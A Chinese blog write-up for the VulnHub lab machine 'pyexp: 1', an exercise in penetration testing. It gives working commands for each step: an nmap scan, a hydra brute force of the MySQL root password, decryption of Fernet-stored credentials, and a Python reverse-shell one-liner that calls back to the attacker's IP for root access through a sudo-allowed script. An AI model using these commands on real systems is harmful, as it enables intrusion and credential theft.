当前位置:网站首页>vulnhub pyexp: 1
vulnhub pyexp: 1
2022-08-03 18:26:00 【仙女象】
渗透思路:
nmap扫描端口 ---- hydra爆破mysql默认用户root的密码 ---- 在数据库中发现fernet密文和密钥 ---- python解密fernet密文 ---- 利用python脚本漏洞sudo提权
环境信息:
靶机:192.168.101.95
攻击机:192.168.101.34
具体步骤:
1、nmap扫描端口
sudo nmap -sV -sC -p- 192.168.101.95
只扫描到tcp 1337(ssh)和3306(mysql)
2、hydra爆破mysql默认用户root的密码
由于nmap扫描到的信息太少了,并且ssh登录的用户名犹如大海捞针,而mysql(MariaDB)有默认用户root,所以先试试用hydra爆破mysql用户root的密码。使用字典/usr/share/wordlists/rockyou.txt.gz解压后的rockyou.txt。
hydra -l root -P "rockyou.txt" mysql://192.168.101.95
稍等一会儿,爆破出root的密码prettywoman
3、在数据库中发现fernet密文和密钥
以用户名root,密码prettywoman进入数据库
mysql -h 192.168.101.95 -u root -p
查看所有数据库,发现数据库data
MariaDB [(none)]> show databases;
进入data数据库,查看所有表,发现表fernet
MariaDB [(none)]> use data;
MariaDB [data]> show tables;
查看fernet表中的数据,发现有一条数据
MariaDB [data]> select * from fernet;
cred列的值为gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy列的值为UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
4、python解密fernet密文
fernet是一种对称加密算法,python中fernet的用法可以在这个网页找到:
Fernet (symmetric encryption) — Cryptography 38.0.0.dev1 documentation
根据上述网页的示例,在python3 shell中(命令行执行python3
即可进入)依次执行如下命令,即可得到执行结果b'lucy:wJ9`"Lemdv9[FEw-'
>>> from cryptography.fernet import Fernet
>>> key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
>>> f = Fernet(key)
>>> token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
>>> f.decrypt(token)
b'lucy:wJ9`"Lemdv9[FEw-'
5、利用python脚本漏洞sudo提权
尝试以用户名lucy,密码wJ9`"Lemdv9[FEw-进行ssh登录,ssh端口为1337
ssh [email protected] -p 1337
登录成功后查看lucy是否可以sudo执行命令
sudo -l
发现lucy可以以root的身份sudo执行python2 /opt/exp.py
(root) NOPASSWD: /usr/bin/python2 /opt/exp.py
查看/opt/exp.py的内容,发现它把用户输入当作python语句执行,利用这点可以提权
在攻击机上nc监听8888端口
nc -nlvp 8888
靶机上执行
sudo python2 /opt/exp.py
在提示how are you?之后输入
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.101.34",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
由于raw_input()函数默认将输入作为字符串,所以上述命令两侧不要加引号
攻击机上得到靶机root用户的shell
边栏推荐
- 调用EasyCVR云台控制接口时,因网络延迟导致云台操作异常该如何解决?
- 【Django-Docker】Sqlite3.db读取权限不够-20220803
- ImportError: /lib/libgdal.so.26: undefined symbol: sqlite3_column_table_name
- Crack: WebKitX ActiveX and WebKitX VHX
- 云渲染的优势与劣势
- China Hashpower Conference Ascension Kunpeng Ecological Forum was held; Kuaishou established an independent to B business department…
- @resource和@autowired的区别
- xxl-job 实现email发送警告的代码解析(一行一行代码解读)
- POJ 1465 Multiple(用BFS求能组成的n的最小倍数)
- flink-sql 客户端 可以设置并行度 吗?断开算子链
猜你喜欢
随机推荐
Gson 学习笔记
Uniswap或将开启“费用开关”,UNI持有者可享受分红
Arduino实验三:继电器实验
EasyNTS上云网关断电重启后设备离线是什么原因?
Jenkins CI平台(二)
大佬们,flinkcdc 2.2 版本采集sqlserver只能采集到全量的数据,不能采集到增量的数
H.265网页播放器EasyPlayer获取视频流正常,但是播放出现黑屏是什么原因?
How to install and start VNC remote desktop service on cloud GPU?
技术干货|如何将 Pulsar 数据快速且无缝接入 Apache Doris
sys文件系统
【mysql】SIGN(x) function
一文搞懂│php 中的 DI 依赖注入
理想L9旗舰级的安全性有多强?守护一家人安全出行“底线”
With the help of Kubernetes kubekey speed installation
dd命令:用于读取、转换并输出数据
【Django-Docker】Sqlite3.db读取权限不够-20220803
快手通过国际权威信息安全和隐私保护认证,安全能力达到国际领先水平
online 方式创建索引触发trigger怎么办?
【ORACLE】什么时候ROWNUM等于0和ROWNUM小于0,两个条件不等价?
基于PHP7.2+MySQL5.7的回收租凭系统